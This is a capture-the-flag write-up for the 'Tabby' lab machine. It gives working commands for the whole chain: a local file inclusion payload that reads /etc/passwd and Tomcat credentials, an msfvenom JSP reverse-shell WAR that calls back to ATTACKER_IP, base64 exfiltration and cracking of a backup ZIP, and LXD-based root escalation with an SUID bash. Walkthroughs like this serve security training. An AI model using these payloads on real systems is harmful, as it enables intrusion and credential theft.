Tabby combines a simple LFI on an Apache site with a Tomcat manager compromise and an LXD privilege escalation. The initial foothold is obtained by abusing a file inclusion parameter to read Tomcat configuration and recover manager credentials. From there, a WAR reverse shell is deployed, followed by lateral movement to a local user via a protected ZIP backup and finally root via LXD.
Target: tabby.htb
Initial vector: LFI → Tomcat credentials → WAR reverse shell
Lateral movement: ZIP backup → password cracking → user ash
Privilege escalation: LXD container → host filesystem mount
Nmap:
22/tcp ssh 80/tcp http (Apache 2.4.41) 8080/tcp http (Apache Tomcat)
The main site at http://tabby.htb is “Mega Hosting”.
A “news” page exposes a file parameter:
http://megahosting.htb/news.php?file=...
Test for LFI:
?file=../../../../../etc/passwd
This confirms local file inclusion and reveals user ash.
Tomcat is running on port 8080:
http://megahosting.htb:8080
We need tomcat-users.xml.
On Ubuntu, it resides under:
/usr/share/tomcat9/etc/tomcat-users.xml
Read it via LFI:
http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
View the source to see credentials:
tomcat : $3cureP4s5w0rd123!
Use the Tomcat text manager interface:
$ curl -u 'tomcat:$3cureP4s5w0rd123!' \ http://megahosting.htb:8080/manager/text/list
Generate a WAR reverse shell:
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f war -o reverse.war
Deploy it:
$ curl -u 'tomcat:$3cureP4s5w0rd123!' \ "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" \ --upload-file reverse.war
Listener:
$ nc -nlvp 4444
Trigger:
http://megahosting.htb:8080/reverse
A shell is obtained as the Tomcat user, but user.txt is not readable yet.
Enumerate web root:
$ cd /var/www/html $ ls backup.zip
Exfiltrate via base64:
$ base64 -w 0 backup.zip; echo
On Kali, decode and crack:
$ cat data | base64 -d > data.zip $ zip2john data.zip > hash $ john hash --wordlist=/usr/share/wordlists/rockyou.txt -> admin@it
Unzip with the password (contents are not directly useful), but reuse the password for ash:
$ su ash Password: admin@it
Now user.txt is accessible.
Check group memberships:
$ id -> ash ... lxd
Being in the lxd group allows root via a privileged container.
On Kali, prepare an Alpine image (using the standard LXD privesc method):
$ ./build-alpine # produces alpine-v3.16-x86_64-*.tar.gz
Transfer the tarball and helper script to the target, then:
$ chmod +x lxd_privEsc $ ./lxd_privEsc -f alpine-v3.16-x86_64-*.tar.gz
Inside the container (mounted host at /mnt):
# cd /mnt/root # cat root.txt
Optionally, set SUID on /bin/bash in the host filesystem:
# cd /mnt/usr/bin # chmod u+s bash
Exit the container and on the host:
$ bash -p # id
Root access obtained.
Tabby is a neat chain: LFI to leak Tomcat credentials, WAR deployment for RCE, password reuse from an encrypted backup for lateral movement, and LXD membership for full root compromise. It reinforces careful file inclusion abuse and modern container‑based privilege escalation.